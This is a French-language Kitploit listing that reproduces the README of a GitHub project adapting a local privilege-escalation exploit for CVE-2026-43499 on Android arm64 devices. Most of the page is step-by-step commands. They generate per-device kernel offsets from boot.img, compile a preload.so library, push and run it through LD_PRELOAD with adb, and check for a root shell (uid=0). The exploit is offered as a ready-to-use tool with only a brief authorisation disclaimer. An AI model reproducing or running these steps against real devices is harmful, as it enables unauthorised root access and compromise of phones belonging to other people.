Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-43499_HW-CLT-AL01 — Génère des offsets du noyau par appareil à partir de boot.img et compile une bibliothèque de préchargement pour exploiter l'élévation de privilèges locale CVE-2026-43499 sur Android arm64. | Kitploit
Outils/GitHubGitHub/zychen027/cve-2026-43499_hw-clt-al01
Sécurité AndroidEscalade de PrivilègesExploitationSécurité MobileDéveloppement de Charges UtilesAnalyse de MicrologicielExploitation de Binaires
GitHubzychen027/cve-2026-43499_hw-clt-al01

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-43499_HW-CLT-AL01

Génère des offsets du noyau par appareil à partir de boot.img et compile une bibliothèque de préchargement pour exploiter l'élévation de privilèges locale CVE-2026-43499 sur Android arm64.

Voir le dépôt
2il y a 21 joursPas encore vérifié

Adaptation locale d'élévation de privilèges Android arm64 pour CVE-2026-43499

English | Chinois


Ce projet est une adaptation d'élévation de privilèges locale Android arm64 pour CVE-2026-43499.

Le projet génère target.h à partir du boot.img de l'appareil cible et des informations du profil, puis compile le preload.so correspondant.

Remarque : ce projet est un framework d'adaptation générique, non lié à un modèle d'appareil unique. Sa disponibilité réelle dépend de la réussite de generate_target.py à générer target.h et des résultats des tests sur appareil réel.


Structure du répertoire

root@kitploit:~
项目目录/
├── boot.img                   # 目标设备同固件 boot 镜像
├── profile.json               # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

Dépendances requises

Dépendances de base

root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Environnement recommandé sous Windows

Sous Windows, il est recommandé d'utiliser :

root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

Installer make dans MSYS2 :

root@kitploit:~
pacman -S make coreutils

Préparation des fichiers

Vous devez préparer :

root@kitploit:~
boot.img
profile.json

Exemple de profil :

root@kitploit:~
{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

Ces deux adresses dans le profil :

root@kitploit:~
p0_phys_offset
p0_kernel_phys_load

peuvent être obtenues en exécutant le script sur un téléphone déjà rooté et avec le même firmware que le boot.img cible :

root@kitploit:~
python3 detect_offset.py

Sous Windows également :

root@kitploit:~
python detect_offset.py

Étapes d'utilisation

1. Accéder au répertoire du projet

Linux / macOS :

root@kitploit:~
cd PATH/project

Exemple sous Windows MSYS2 :

root@kitploit:~
cd PATH/CVE-2026-43499-Poc-Analysis-main

2. Définir le chemin du NDK

Exemple sous Linux / macOS :

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk

Exemple sous Windows MSYS2 :

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29

3. Générer target.h

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h

Ou via CMD :

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h

Si une erreur indique que llvm-objdump est introuvable, spécifiez manuellement le chemin :

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h \
  --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

Ou via CMD :

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

En cas de succès, un message similaire s'affiche :

root@kitploit:~
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. Compiler preload.so

Linux / macOS :

root@kitploit:~
make -C source clean preload

Windows MSYS2 :

root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

En cas de succès, le fichier suivant est généré :

root@kitploit:~
source/build/bin/preload.so

5. Transférer sur l'appareil et exécuter

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
root@kitploit:~
adb shell "chmod 0644 /data/local/tmp/preload.so"
root@kitploit:~
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"

Vérification :

root@kitploit:~
adb shell "/data/local/tmp/su -c 'id'"

En cas de succès, vous verrez généralement :

root@kitploit:~
uid=0(root) gid=0(root)

Procédure en une seule commande sous Windows MSYS2

Selon votre exemple de chemins :

root@kitploit:~
cd PATH/CVE-2026-43499-annibale-main
root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

Fichier final :

root@kitploit:~
source/build/bin/preload.so

Problèmes courants

llvm-objdump introuvable

Installez LLVM, ou utilisez :

root@kitploit:~
--llvm-objdump "PATH/llvm-objdump"

make introuvable

Sous Windows, installez avec MSYS2 :

root@kitploit:~
pacman -S make coreutils

clang introuvable

C'est généralement un problème de chemin NDK mal configuré.

Exemple sous Windows MSYS2 :

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

Échec de la génération de target.h

Cela indique généralement que le boot.img actuel ou la disposition du noyau n'a pas encore été adapté avec succès.

Vérifiez notamment :

root@kitploit:~
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF

Remarques

  • Après avoir changé d'appareil, de système ou de noyau, vous devez régénérer target.h.
  • Il n'est pas recommandé de modifier target.h manuellement ; il doit être généré automatiquement par generate_target.py.
  • Veuillez utiliser uniquement sur des appareils et environnements pour lesquels vous êtes autorisé.
Télécharger l’outil